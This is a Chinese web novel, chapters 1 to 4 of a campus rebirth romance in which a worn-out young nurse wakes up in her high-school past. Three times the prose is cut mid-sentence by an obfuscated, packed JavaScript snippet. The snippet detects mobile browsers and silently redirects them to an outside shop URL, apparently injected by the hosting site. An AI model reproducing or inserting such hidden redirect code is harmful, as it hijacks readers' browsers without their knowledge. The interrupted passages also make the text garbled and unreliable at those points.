《我的重启人生[校园重生]》 1. 第 1 章 “滴” 二维码刷过闸机,又是六块钱从余额里被扣走,季知节顺着人流走出地铁口,耳边充斥着电子播报的杂音,还有零星几个学生的聊天声。 H市是一座繁华的都市,经济繁荣。外来人口占了大半,本地人又极少选择出去。人口密度高,工作机会紧俏,可即使如此,每年依旧有无数应届生选择奔向H市。他们有的奔着高额的人才补助,有的想要在这吃人般的社会里面淘得一份宝藏。 可是这些都与季知节无关。 地铁口离租的房子还有点距离,季知节一边盘算着卡里的钱交完房租后还剩下多少,一边看着路旁的水果店有没有促销的水果。看着标价十块钱两个的橘子,季知节深觉这个水果也不是非要吃,药店两块钱一瓶的维c性价比更高,但看着指甲边缘长出来的倒刺,季知节决定咬咬牙买一个,敢标十块钱肯定有它的道理,季知节如此说服自己。 比付款码更先出现在手机界面的,是来自妈妈的视频通话,季知节放下橘子,对着旁边的店员不好意思笑笑。 耳机塞到耳朵里面的一刹那,外界的熙熙攘攘就被隔离在外,只剩下视频那头刺耳的声音。 “你最近怎么都不打电话回来,就忙成这个样子啊,打个电话要你多长时间,你现在弄的比我们都忙了。” 屏幕里的女人头发枯黄,是频繁烫染的痕迹,有些浑浊的眼睛盯着屏幕,嘴里抱怨。 “前几天上的夜班,白天没空,晚上你们又睡了,今天才刚改的白班。” 季知节一边看路一边解释道,“本来打算到家之后打电话给你的。” “你还没到家啊。”女人好像才注意到对面的情况,惊讶道。 “快了,下地铁了已经。” “唉,我和你爸早说了,就在家里上班算了,你非要去H市,忙到现在都没下班,等会回去又要做饭,忙活一下就大半夜了。” 季知节看着路边的灯,没作声。 对面又传来一道声音,“本来就是的,非要出去闯,你看看你现在的样子,家里的医院又不是不能进,非要跑出去。” 男人点着烟,指点道,“年纪小总觉得外面好,是不是出去了就知道不是这么回事了,待不下去就尽早回来,你妈有个朋友,她儿子就在这边等市立医院当医生,你回来也能和他认识认识,多好。” 季知节无奈道:“我才25岁,不着急相亲吧。” “哪相亲了,就是认识认识,而且你想相亲,人家还不一定乐意呢,人家正儿八经的医生,你就是个小护士,看不看得上你都另说。”男人吐了口烟,看着季知节,“当时让你学医,你分数线又不够,不然哪像现在这么累。” 眼看着又要开始检讨过去的事情,季知节连忙打断,“行行行,我知道了,等我放假了我就回去,我要过马路了,回头再给你们打。”说着,季知节按下挂断键,长舒一口气。 看着已经黑下去的屏幕,季知节把手机塞进口袋,盯活着对面的红灯,大脑放空。 才25岁就面临相亲,父母还不忘拉踩一下自己的职业,对于季知节而言,生活就是这样一地鸡毛。不知道是从哪里开始,从哪次选择开始,人生好像奔着badending一去不复返,明明才25岁,就好像连勇气和改变这两个词,都不会写了。 “啊啊啊啊!” 身边突然传来一些女大学生的低声尖叫,“那个公交车,沈瑜的生日应援。” 听到熟悉的名字,季知节思绪堪堪回笼,视线中就闯入了一辆蓝白相间的公交车,车身图画中的人握着立麦,穿着简单的针织毛衣和牛仔裤,含笑看着前方,头上洒落的亮片和挑染的蓝色交相辉映,闪着细碎的光,旁边花样字体写着大大的沈瑜0903生日快乐。 公交车很快驶过路口,季知节看着远去的公交车神情恍惚。 都已经…快到他生日了吗… 繁忙的日程让季知节很少关注外界的事情,日历里也都是排班轮休,聊天列表最上面的永远是科室里发不完的消息,以为又要这样过完一个月的时候,远去的公交车好像要把人拉进刻意遗忘的现实。 “真是的,不走就别挡路啊。” 听到后面的抱怨,季知节恍然惊觉绿灯已经亮了,急急忙忙小跑到对面。 也不知道今天是什么好日子,过去的朋友扎堆出现,让人不禁回忆起过去的高中生活。 刚到家都还没有把包放下来,季知节就收到了一条消息。 “知知!你还在H市工作吗,你记不记得我之前和你们说的,我参加了一个师姐的组,我们马上要去H市路演啦,你想来嘛,我给你留票呀!” 聊天框的备注是“知名于导”,也是当初于落落逼着季知节改的名字。在高中时期,她就立志要当一名导演,在注重艺考的同时,也不忘兼顾文化课,最终如愿考上了B市的电影学院,也是全国最好的电影学院之一。不仅如此,于落落在大学期间也不停尝试拍摄,大学期间拍摄的一部微电影《她》,甚至还获得了大学生电影节的奖项。 用张镜的话来说,就是于导终于有点名副其实的样子了。 “镜子又不知道哪去了,真服了,各种深山老林里面跑,压根找不到人。” 于落落还在群里面抱怨,气恼着张镜总是缺席她的重要时刻,还不忘撒娇,半威胁半强迫季知节一定要到场。 几乎就是喝口水的功夫,群聊消息已经跳到20+了,还都是于落落的独角戏。 季知节不禁失笑,手指刚搭上键盘,就看见群聊中好久不见的第三人蹦了出来。 “又在背后蛐蛐我什么呢。我只是没信号,不是没手机。” “啊啊啊啊啊啊,镜子你回来啦!” “对,那个科研活动暂时结束了,终于从深山老林回来了。” “那我也给你留张票,管你在哪,当天必须给我飞到H市去!咱们仨都多久没聚了!” “OK。” 季知节看着两人谈天说地,从今天的晚饭聊到最近塌方的艺人,从于落落在剧组发生的趣事聊到张镜在科研时的崩溃,明明是有趣又生动的事情,季知节脸上的笑容却越来越淡,停留在输入框的光标一闪一闪,却一个字也说不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360028|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 狭小的浴室里面热气弥漫,季知节站在淋浴头下,略微有些烫的水打在头皮上,季知节却像感受不到刺痛一般,闭着眼睛任由热水冲刷。水在皮肤上流动,滴落在地上,水流声炸在耳边,不断锤打着脑袋。 季知节不敢回忆刚刚脑海中冒出来的想法。明明是该感到骄傲的事情,落落离导演的目标又近了一步不是吗;明明是该感到开心的事情,镜子为了考古付出了那么多终于有了回报不是吗;可为什么心底叫嚣的,不是快乐,不是激动,而是…嫉妒呢… 你在嫉妒什么啊季知节,嫉妒她们有自己想做的事情吗,嫉妒她们的热爱就是她们的工作吗,还是嫉妒她们活得比你漂亮多了。可是你的生活不是你自己选的吗,你又在自怨自艾什么呢?抱着一副怀才不遇的样子给谁看呢?她们得到的难道是你失去的吗?你难道,就是这样的人吗? 细小的呜咽声埋藏在水声下,最终一起流入了下水道。 “镜子,你终于回来了!我想死你了!” “我们于导的重要时刻诶!当然要在场啦!请假我都要去哈哈哈哈哈哈。” “聚聚吧,聚聚吧,我好想你们的,都来我家!都来陪我!” 躺在床上的季知节看着已经没动静的群聊,一字一句敲下每一句话,发红的眼睛盯着屏幕良久,最后切到音乐软件,打开了歌单。 “若是你在流浪,别忘了曾经的月亮 若是你在迷茫,别忘了看看怀里的光 路上的旅人啊,我也知长夜漫漫前途渺茫 可每一缕风和阳光 都会让我们慢慢成长 别怕前路坎坷漫长 一定会有人在你身旁 ……” 沈瑜略有些低沉的嗓音将这首歌娓娓道来,轻缓自然的旋律像羽毛一般抚过耳朵,在轻柔的旋律中,季知节缓缓闭上了眼睛,眼角的水光漫漫滑落在枕头上,就这样缓缓进入了梦乡。 不知过了多久,手机屏幕亮了起来。 名为“我们仨”的群聊里面不时弹出几条消息。 “好啊好啊,我要买一大堆零食过去,我会给你带棒棒糖的哈哈哈哈哈哈。” “我这个组结束之后,一时半会不会再进组了,之后我在H市陪你!我要住你那,但是我没钱付房租!不过我可以给你买吃的!” “少吃糖,别又蛀牙了。” “这到底是你陪知知还是知知陪你,我还是低估了于导的脸皮。” “我这个课题结束后应该也有一段时间空着的,我也可以在H市待一段时间。” “决战吧镜子,知知家只能有我一个,尔等速速退下。” “你长得就那样,想得还挺美。” “略略略。知知你说,你大老婆是谁!” “你给我住嘴吧,知知应该睡了,让知知歇会。” “切,坏蛋镜子。晚安知知,明天记得回我哟。” “别理她,知知晚安,做个好梦。” 夜晚逐渐归于平静,平缓悠长的呼吸声寓意着,大概率会有个美好的梦,和更好的明天。 2. 第 2 章 早晨的闹钟如约而至,“滴滴滴”的响声逼着床上的人睁开双眼。季知节皱着眉头在床上摸索着手机,略微有些陌生的触感让季知节稍微清醒了一点,厚重的窗帘遮住了光亮,眯着眼睛的季知节有些看不清手里的东西,只得反手去摸墙上的开关,却没想摸了个空。 季知节坐起身,让大脑缓冲了一下,眼睛也稍微适应了有些昏暗的环境,陌生又有些熟悉的房间让季知节满脸诧异。身下的这张床只存在于高中时期,步入大学之后,被父母以太占地方为由换了一张小床,换下来的床被搬回了老家,空出来的地方堆满了杂物。床头柜上随手摆了一些头绳,但是季知节清楚,正式工作后,因为太懒了,就把一头长发剪掉了。而且这个房间,应该在A市的家里面吧,怎么会在H市? 时空的错乱感让人有些发愣,呆呆地坐了一会儿后,季知节摊了摊被子,整个人又埋进了床里面,不一会,呼吸声又重归平稳。 “都几点了还睡!不起来上学了啊!还要我起来喊你,要迟到了知不知道!” 训斥声犹如平地惊雷般炸开在耳边,骤然亮起的灯刺痛了双眼,季知节难受地揉了揉眼睛,哑着嗓子,吃惊道:“妈,你怎么在这。” “还我怎么在这,你说我怎么在这,你再不起来去上课,你班主任就要把电话打到我这里来了。”季母柳明霞站在房门口冷笑。 季知节看向母亲,发现母亲的头发好像比昨天更黑一点了,“上什么课啊。”说着就想摸手机看时间,“几点了啊,我得上班了。” 看着还不知所云、不知悔改的季知节,柳明霞火气更大了,“上班?你还上班,你书都没念完,我看哪个班要你,你赶紧给我爬起来上学去。”说着狠狠关上门,连带着门后挂着的衣服都颤了一下。 季知节看着还在颤抖的门,看了眼好不容易摸到的手机,大脑宕机。 2015年10月12日星期一。 听着门外传来的催促,季知节条件反射般观察周围,拿起搭在床边的蓝白校服换上,走出房门,紧接着又被催着去洗漱。 卫生间哗啦啦的流水声稍微阻挡了一些客厅的喧哗,季知节盯着镜子里的自己有些不知所措。 乌黑的长发曾是十分珍视的宝贝,哪怕高三时被父母说教,也犟着不愿意剪短,但是在实习一个月之后,长发便被放弃了。镜子里女孩的眉眼间也没有以后的疲惫,难以消除的黑眼圈这个时候还没有找上门,满脸的胶原蛋白预示着一切都还是最好的样子。 “笃笃”敲门声不停催促着女孩,“好了没?” 季知节草草洗了把脸,扬声道:“好了。” “快快快,马上迟到了你。”柳明霞拿着装好的早点塞给季知节,“你在路上吃吧,赶紧走。” “哦哦。”季知节忙不迭点头,就要出门。 “书包!书包!”柳明霞头大,拦住今早格外傻的女儿,恨铁不成钢道,“不带书包就去上学,你可真有本事。” 背起好久不见的书包,骑上记忆里的自行车,晃荡在熟悉又陌生的街道上,季知节还有点不知所措。 这家早餐店在高三那年扩大了店面,那家麻辣烫店因为又难吃又贵开张没多久就因为经营不善倒闭了,不断与记忆中的不同做着对比,季知节才有了点回到高一的实感。 可是为什么呢?季知节不禁想,这种事情是真的会发生吗?艺术来源于生活又高于生活,没准真有人能重生呢,毕竟我们又不知道别人过得怎么样对吧。 但是为什么会是我呢?因为我过得足够失败吗? 季知节想不明白,也来不及想明白。 因为,比探讨人生更为紧迫的,是某人迟到了。 当季知节远远看见一脸凶相的保安大叔站在校门口时,就知道大事不好了。一边听着大叔的念叨,季知节一边在登记表上写下自己的班级姓名,也正是落笔的时候,季知节才发现,自己居然还记得高一的班级。 看着表上写着的高一(3)班,保安大叔一乐,“哟,还是李老师班上的啊,你还挺大胆的,赶紧回班上吧,还能赶上早读。” 季知节握着笔的手一顿,从记忆里翻出李老师的形象,赶忙放下笔,骑着自行车就要往校园里面赶。 保安大叔在后面喊道:“自行车停到车棚,别乱放!” 季知节伸出手朝后方比了个OK,踏板踩得飞快。 李老师,全名李化腾,是高一(3)班的班主任兼数学老师,更是高一年级组的年级组长,以严格的纪律要求和高超的教学能力闻名整个高中。因为名字有点像某位马老板,所以学生们比起叫李老师,更愿意叫李老板。也不排除比起老师而言,老板的压迫剥削能力更加技高一筹。季知节犹记得分科后,新的同学知道自己高一的数学老师是李老板后,那满脸我都懂的神色。不过这也是理所当然的,毕竟李老板的手下,谁还没抄过几张卷子呢。 就在季知节急忙跑到走廊的时候,远远就看见李老板已经在班级门口站着了,心里一阵绝望。其实按道理来说,数学老师是不需要出席早读的,毕竟一中的早读只分了语文和英语。但是因为身兼班主任和年级组长两职,每个早上李老板都会早早到校,开始巡视有没有抄作业的和迟到的小倒霉蛋,显而易见,今天的小倒霉蛋就是季知节。 抱着横竖都是死的念头,季知节低着脑袋快步走到教室门口,磨磨蹭蹭不敢抬头,按理说都是个大人了,不该这么怂才对,但众所周知,老师是不一样的,人到八十岁,都会害怕老师,尤其还是数学老师。 “老师,对不起,我迟到了。”季知节捏着书包带子,低声道。 李老师看着低着头不安的女孩,淡淡道:“早读和我的数学课在后面站着,下次再犯就站一天。” 教室不少同学都在眼观六路耳听八方,嘴里念着古诗文,眼睛直往门口瞟。看到季知节走进来,几个坐在第一排的学生朝着女孩挤眉弄眼,就差竖大拇指了,意思很明白,这都敢迟到,真牛。 季知节顶着四面八方膜拜的目光,艰难地在耸动的脑袋中找到空着的位置。还好今天就一个人迟到,不然季知节真的没办法在四五十个座位中找到自己的位置。 不对,好像是有办法的。 季知节看着同桌那熟悉的面孔,骤然感到放松。少女认真地读着课文,红色的框架眼睛架在高挺的鼻梁上,看到季知节站在座位旁边也只是微微抬眼,轻轻点头。 是张镜。 季知节才想起来,高一第一次月考前,自己的同桌是张镜,只不过做同桌的时间太短,所以印象不深。但能在这个时候看见张镜,季知节感到无比的庆幸,杂乱的思绪在这时稍微安定了下来。 不太明白季知节为什么会松一口气,但是张镜敏感地察觉了女孩变得开心了些许,默默指了指语文书上的课文,轻声道:“今天早读任务是这个。” 季知节把语文课本抱在手上,重重地点了点头,指了指后面,道:“我去罚站。” 看着视死如归的季知节,张镜扶了扶眼镜,遮住了嘴角的一丝笑意,这孩子今天怎么呆呆的。 在教室最后面罚站是季知节从未有过的体验,虽然不是什么顶尖的好学生,但是也不曾犯过什么错,谁知道重来第一天就直接玩了个刺激的。季知节翻开书本,在心里叹气,不自觉把视线又放到了前方,嘴里还念着刚刚瞟了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360029|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的课文。新奇的视角让季知节不自觉开始环视整个教室,每个人背影中透露出来的活力都比脑海中来得更加鲜明,认真读书的人当然不少,但也有几个正在偷偷摸摸地补着试卷,时不时还往窗户外瞟,青春好像在这间教室里面具像化了。 高一啊,季知节把课本翻了翻,发现这本书在物理意义和心理意义上,几乎都是新的。高一开学军训了一段时间,接着又是中秋国庆,真正学习的日子并没有那么多,新课的进度也并不快,这也是算得上今天难得的好消息了,毕竟学习进度勉强还能赶得上,但是马上好像就要月考了,高一第一次月考就在国庆后,想想要重新学九门课,季知节不禁又感到绝望,痛苦地将语文书按在脸上,希望这一出闹剧赶紧结束。 对,赶紧结束吧,今天还要给病人换药,护士长还说要开会,事情还有很多……课本紧贴着脸,淡淡的油墨味钻入鼻腔,颤动的睫毛扫过书页,悉悉索索的声音钻入耳膜,明明读书声那么大,却好像离自己那么远。 万一,不是梦呢…… 万一…… “还发呆呢,李老板来了。”刻意压低的声音带着笑,霎时间把季知节拉回了现实。 季知节唰地拿下课本,看着捧着课本站在边上的少年,半晌说不出话,微微抬头,目光一寸寸在少年脸上游移,仿佛在确定着什么。 “没骗你,真来了。”少年竖起课本,隐晦地指了指正在座位过道间晃悠的老师。 季知节惊觉自己的失态,赶忙低头佯装低头读书,耳尖却不受控制地泛了红。 手指不自觉地扣着书角,眼睛盯着课文,眼前浮现的却是少年的模样。毛绒蓬松的头发显得很有光泽,哪怕刚军训完没多久,皮肤也相当白,不是时下流行的双眼皮,但配上优越的眉骨,显得有些侠气,流畅的脸部线条又很好的中和了眉眼带来的攻击性。 是沈瑜。 高一的沈瑜。 比起应援海报上的样子,现在的沈瑜要青涩的多,季知节心想。 身边的读书声突然大了起来,季知节一惊,连忙不敢发呆,盯着课本认真读了起来。 果不其然,李老板五秒后就晃到了这边。盯着罚站的两个人看了一会,季知节不自觉把背都挺直了些许。 不过好在只是一会,李老板就从后门出去了。 就在李老板踏出门那一刻,身旁的读书声就变得有一搭没一搭起来,季知节没忍住看了一眼沈瑜,正巧就被抓包了,少年含笑看着女孩,挑了挑眉,解释道:“我会背了,不想读了。” “我又没想问这个。”季知节低声道。 “行吧。”沈瑜点点头。 沉默了一会,季知节还是没忍住,磨磨蹭蹭问道:“你怎么也罚站了。” “李老板找我要数学卷子,我忘带了。”沈瑜耸耸肩,无奈道。 “你是不是数学课代表来着。”季知节从回忆里翻出这个似有若无的印象,不确定道。 “大概是吧。”沈瑜煞有其事道。 “大概?” “主要是你这个语气,让我觉得,我们班可能还有一个数学课代表。”沈瑜笑道。“总感觉你今天的数学作业会交给别人。” 季知节耳尖泛红,反驳道:“我作业当然交给我组长。” “可你们组组长已经把作业交给我了,你们组就你没交了。”沈瑜好整以暇地看着季知节。 红色从耳尖蔓延到脸颊,季知节慢吞吞道:“知道了,下早读交给你。” 沈瑜满意点头,“看来数学课代表还是我。” 季知节轻哼一声,对沈瑜臭屁的行为表示鄙视,暗自祈祷下课铃赶紧响起来。 3. 第 3 章 沈瑜总体来说,还算是个比较有计划的人,如果用以后流行的MBTI来说,他大概是个J人。 比如说他习惯把要做的事情记录下来,在周日的晚上,会把该带到学校的东西整理好,包括周末的作业以及按照周一的课表整理好要带的书和笔记本。甚至于他不同于大部分的同学,他并不会把作业留到第二天早上去班级里“借鉴”。用他的话来说,“还在李老板班上一天,这就和找死没区别。”他还习惯于每天早点出门,几乎是班上最早到校的那批。 对于这种每天早早到校,却不用来抄作业的行为,沈瑜的同桌周博承表示实在是暴殄天物。 沈瑜对周博承的文化素养嗤之以鼻,并不顾周博承的哀嚎,相当冷酷地拒绝了周博承抄作业的请求。 这一天,沈瑜依旧起得很早,有条不紊地收拾好自己,背着书包出门。 白色的耳机线从校服口袋延伸到耳朵,耳机里播着早已下载好的歌曲,沈瑜听着歌,晃晃悠悠地往学校走。 站在早餐店门口,沈瑜难得感到头疼,人为什么要吃饭呢?虽然很难理解,但是沈瑜暂时还没办法抵抗本能,随手点了几个包子和豆浆,就在店里面悠哉悠哉地坐着了。 周一的早上总是比其他时候怨气更大,沈瑜观察着来来往往的人群,有一口没一口地喝着豆浆,不知在想些什么。 眼看着穿着蓝白校服的人逐渐多起来,沈瑜三两下解决掉早餐,往学校赶去。 不出意外,沈瑜依旧是第一个到达班级的,大概是今天发呆的时间有点久,才坐下没多久,班级也陆陆续续来人了。 原本还很空荡的教室逐渐被声音和气味充满,坐在座位上的沈瑜翻着桌上的乐理书,头也不抬地对着刚落座的男生道:“你要是敢把早点弄我作业上,你就死定了。” 周博承咽下嘴里的包子,嘿嘿一笑:“懂我,兄弟。”说着非常自觉地拖过整齐叠在桌上的作业,开始复刻。 “昨天不抄,非得现在抄,怎么,这么着急上演速度与激情啊。”沈瑜嘲讽道。 “呵,没有经历过抄作业的学生生涯是不完整的。” 沈瑜单手支着脑袋,另一只手按上作业,似笑非笑地看着周博承。 周博承谄媚一笑,“哥,沈哥,我错了,您高抬贵手。” 沈瑜冷哼一声,没理他,继续看书。 “你数学卷子放哪了。” “数学练习里面夹着。” 随着周博承复刻动作接近尾声,班上的学生也几乎都到齐了,过道里几乎都是交作业的学生以及送作业的组长。 沈瑜的桌面也逐渐被练习册和试卷覆盖,手边上的便利贴记着没带作业的学生姓名。 周博承探头看了一眼,惊奇道:“果然每次周一,没带数学作业的人就会变多,平时可没这么多人不带。” “没办法,周一太容易忘事了。”前桌转头吐槽道,“而且作业太多了,一下子就找不到放哪了。我们才高一啊,搞那么多作业,服了。” “而且李老板真的,太狠心了,我问一圈,只有我们班数学作业那么多,我都要写疯了。”周博承苦着脸。 “你写了几题?”沈瑜整理着作业,微微分过去一点目光,假好奇真嘲讽道。 “我也是写了一点的好吧!”周博承反抗道,“而且你以为我很容易吗!那么多题目,还都得在早读之前抄完,我也很累的!你去外面看看,哪个班像我们,什么早读开始不给交作业,什么奇葩规矩!这让我少了多少抄作业的时间你知道不!每次周一我都得早起,我都快累死了” “你就是,李老板手里没有办法蹦跶的一条鱼,被压的死死的。”沈瑜总结道,“昨天就让你写了,你偏不写,全部都留到早上抄的,整个班估计就你一个。” “没办法!昨天玩游戏上头了。”周博承绝望。 “别上头了,你迟早要被李老板断头。”沈瑜冷静道。 “你可真会说话。”周博承皮笑肉不笑道。 “谢谢。”沈瑜微微颔首,“让一下,我要出去,还有一组没交,我去要作业。” “yes,sir。”周博承身体往前,趴在桌子上,翘起椅子后脚,堪堪让出了一点缝隙,示意沈瑜过去。 沈瑜看着笑得灿烂的周博承,长腿一跨,出了座位,等到双腿站稳,便伸出一只脚,勾住椅子腿,用力一扯,椅子便从周博承屁股底下被扯了出来,周博承双手卡住桌子边,利用核心力量扎起了不伦不类的马步。 “嘿嘿。哥有腹肌。”周博承贱嗖嗖道。 “是吗。”沈瑜居高临下地看着周博承,随即灿然一笑,勾着椅子就挪到了过道,再轻轻一踹,椅子就从倒数第二排溜到了后面的黑板附近,“继续保持,腹肌君。” “我去!沈瑜你个丧心病狂的!” 丝毫不理后面的嚎叫,沈瑜施施然走远。 找到还没交作业的小组,沈瑜看着已经码好的作业,问道:“怎么了,出什么问题了吗。” 小组长是个扎马尾的女孩,叫叶珊珊,她有些为难地指了一下前面的空位道:“季知节还没到,但是还没打铃,要不再等一下。” 听到这个名字,沈瑜一愣,想起来早上只顾着看书,没有注意到以往早到的女孩今天居然现在都还没来。 沈瑜看了一眼手表,还有两分钟。 “行。” 回到座位的沈瑜心不在焉地盯着门口,丝毫没管张牙舞爪的周博承。 “叮铃铃。” 两分钟过得比想象中还要快,但门口除了李老板之外,并没有女孩的身影。 教室内读书的声音越来越大,语文老师在黑板上写下今天的早读要求就去了隔壁班布置任务,讲台上的李老板环视整个班级,走到整个班唯一空着的位置,俯身和旁边的人说着什么。 沈瑜心不在焉地读着课文,不自觉看向李老板,周博承也时不时看向那个方向,低声道:“那个位置谁来着,这么勇的吗,敢迟到。” “季知节。” “嗯?”周博承疑惑看向沈瑜。 以为周博承没听清,沈瑜难得耐心道:“季知节,‘好雨知时节’的知节。” “哦~好雨知时节啊~”简简单单一句话被念得抑扬顿挫,周博承眯着眼睛笑得贼眉鼠眼。 沈瑜一肘子怼了过去,没好气道:“有病,当时自我介绍的时候没听啊。” “谁会把自我介绍听得那么仔细啊,人家名字的由来都记得,啧啧啧。”周博承咂舌。 就在周博承还打算说什么的时候,沈瑜一个眼刀飞了过去。两人是从同一所初中升上来的,初中同班了三年,到高中也依然同班,虽然沈瑜称之为孽缘,但是不可否认,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360030|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系确实相当好,往往一个眼神就能大概知道对方在想什么。 周博承深知逗人有度,相当自觉地转移了话题。 “不过这位确实,挺让人印象深刻的,那个番茄炒蛋。” 应该没有人会不在意她吧。看着语文书内页上画着的小火苗,沈瑜想。 倒不是因为这个人有多漂亮,也不是像小说里面那样,什么第一名光环。说实话,小说里那种风云人物在真实的校园生活里面几乎看不见,学不会的数学知识点,背不完的古诗文已经占据了相当一部分日常,实在很少有闲心想这些东西。 但是季知节这个人,太扎眼了。 在所有人以黑白灰标榜自己成熟的年纪,她在开学第一天穿了一件大红色的短袖,搭配了一条黄色的阔腿牛仔裤,踩着一双红色的高帮帆布鞋,两个丸子头上面还有各种颜色的星星发卡,看着相当热闹。 在满室寂静的自我介绍的环节,季知节也是第一个举手的。 站在讲台上的女孩笑得相当灿烂,挑了支粉色的粉笔在黑板上写下了自己的名字。 “大家好,我叫季知节,‘好雨知时节’的知节,喜欢热闹,喜欢聊天,喜欢交朋友,还喜欢五颜六色的东西。” 清脆的声音、大方的姿态让人感到放松,略微有些上扬的尾音不自觉的让听众感到愉悦,教室里有些紧张的氛围也慢慢变了。 就在季知节要结束自我介绍回到自己位置上时,不知道哪里有个声音道:“你衣服好好看!” 季知节臭屁一笑:“谢谢,你很有眼光,今天的灵感是番茄炒蛋。”说着低头展示绿色的星星发卡,“别忘了撒点葱花。” 女孩的样子太鲜活,整个班级瞬间笑开了花,连带着李老板都笑出了声。 接下来蹦上去的几个调皮的男生也费尽心思得学人展示穿搭,什么烧焦了的红烧肉,豆沙馅的青团… 五花八门的食物出现在课堂,自我介绍开成了美食品鉴会,但是同学们熟络的速度也确实变快了许多。 以及在后来的军训中,沈瑜都有意无意关注过这个女孩。她活泼开朗,能迅速和周围人熟稔起来;她细心体贴,能察觉到同伴的不舒服;她也不是没有缺点,有一些冲动,爱憎分明,比如很容易就能看出她很讨厌那位有些刻薄的教官。但并不让人讨厌,一边苦着脸一边老实完成教官要求的季知节还有点可爱。用周博承的话来说,三次元的人居然真的能活得像二次元人物。而等沈瑜反应过来时,文件夹里面已经多了一段名为flame的旋律,虽然还不知道最后会变成怎么样的曲子,但是肯定会是相当热烈张扬。 沈瑜也曾问过自己,是不是喜欢上这个人了,但是仔细想想,好像也谈不上,毕竟到现在,话都没说上过几句。何况对于沈瑜来说,喜欢是一件非常神圣的事情,除去家人外,真正能谈上喜欢的好像也只有音乐,他试着把季知节和音乐放在一起,越发觉得自己只不过是因为好奇才对季知节这么感兴趣,他将其自己的这种心态解释为人类的趋光性。 所以在透过窗户看见好像没那么明亮了的季知节时,他在一堆试卷中抽出了自己的卷子,在周博承不可置信的目光中向李老板“自首”,最终如愿站到了教室后方,虽然沈瑜觉得自闭中的季知节也有一点点可爱,但是还是没忍住开了口。 “还发呆呢,李老板来了。” 4. 第 4 章 季知节绝对有点不对劲。 沈瑜余光观察着似乎在认真读书的女孩子,在心里面肯定道。 虽然聊天的时候还是挺自来熟的,还是会有小动作,但是说话的语气变了,语调变了,说得玄学一点,就是整个人的气场都变了,哪怕看着是在读书,也总觉得有些心不在焉,整个人变得有些灰扑扑的。 是遇到了什么不好的事情吗?沈瑜垂下眼帘,目光扫过课文,心里闪过无数念头。 季知节并不知道半米之外的沈瑜在想着什么,她只知道这兵荒马乱的一早上实在是太累了,但是事情貌似还没结束。回想了一下刚刚和少年简短的交谈,季知节后知后觉地感觉到,两人的语气有点熟稔了。在季知节的记忆中,两人只同班了一年,虽然不至于陌生,但是在开学一个月的时候,两人大概率是还没有熟络起来的。 “在还没有熟悉起来的时候,这样说话是不是太没有分寸感了?”季知节咬着嘴上不知何时出现的死皮,心里碎碎念,“话又说回来了,这个时候我是啥样的来着?我和镜子还有落落这个时候熟吗?完蛋,想不起来现在是什么时期了,但是才一个月,想想也不可能是蜜月期吧,万一我表现的太热情,太自来熟,被她们觉得是变态咋办,哦豁,我扮演我自己还能OOC,什么地狱笑话。” 再怎么焦虑,下课铃也还是按时响了,读书声变成了嘈杂的聊天声,班级里的同学三三两两地结伴出门。旁边的沈瑜已经被人拉走了,季知节站在原地有些懵,有些不理解为什么几乎所有人都要出去,厕所也容纳不下这么多人啊。发愣之际,一只手突然出现,抽走了季知节手里面的语文书,嘲笑道:“愣着干嘛,不去升旗啊!”眼前的少女扎着高马尾,额前留着时兴的空气刘海,亮亮的眼睛盛满了笑意,漂亮得无懈可击。 是于落落。 季知节看着还很青涩的女孩,一时间不知道该说什么。放好语文书的于落落发现季知节还在发呆,略微有些不可思议,“不是吧,你今天咋啦,魂不守舍的,不舒服吗。” “不舒服的话就在教室里面呆着吧,我去和老师说一声。”不知道什么时候,张镜也来到了季知节身边,轻声道。 “对啊对啊,不行请个假。” 看着两人担忧的神色,季知节眨了眨眼,咽下嗓子传来的痒意,扯出一抹笑:“没事,我们走吧。” “真没事嘛,别勉强啊。”于落落皱着眉头道。 “真没事。”季知节边点头边笑,“能有什么事。” 于落落还想说什么,就被张镜拉住了,“行了,我们去操场吧,反正她就在我前面,我看着她,要不舒服我就给她送回来。” “行吧,不过真的很过分啊,你俩又是同桌,又是前后位的,你们孤立我是不是!”一个人牵一只手,季知节被两个人带着就往操场走,于落落一边走还一边碎碎念,表达自己的不满。 “那你赶紧去洗衣机转一下,缩点水就能和我们差不多高了,没准就能站一块了。”张镜皮笑肉不笑道,“少得了便宜还卖乖。” “长得高算啥便宜啊,又没啥用。” “哈?那你给我。” “那你拿走啊,赶紧拿,不拿我鄙视你啊。” 季知节被两人拉着,一步步向前走。 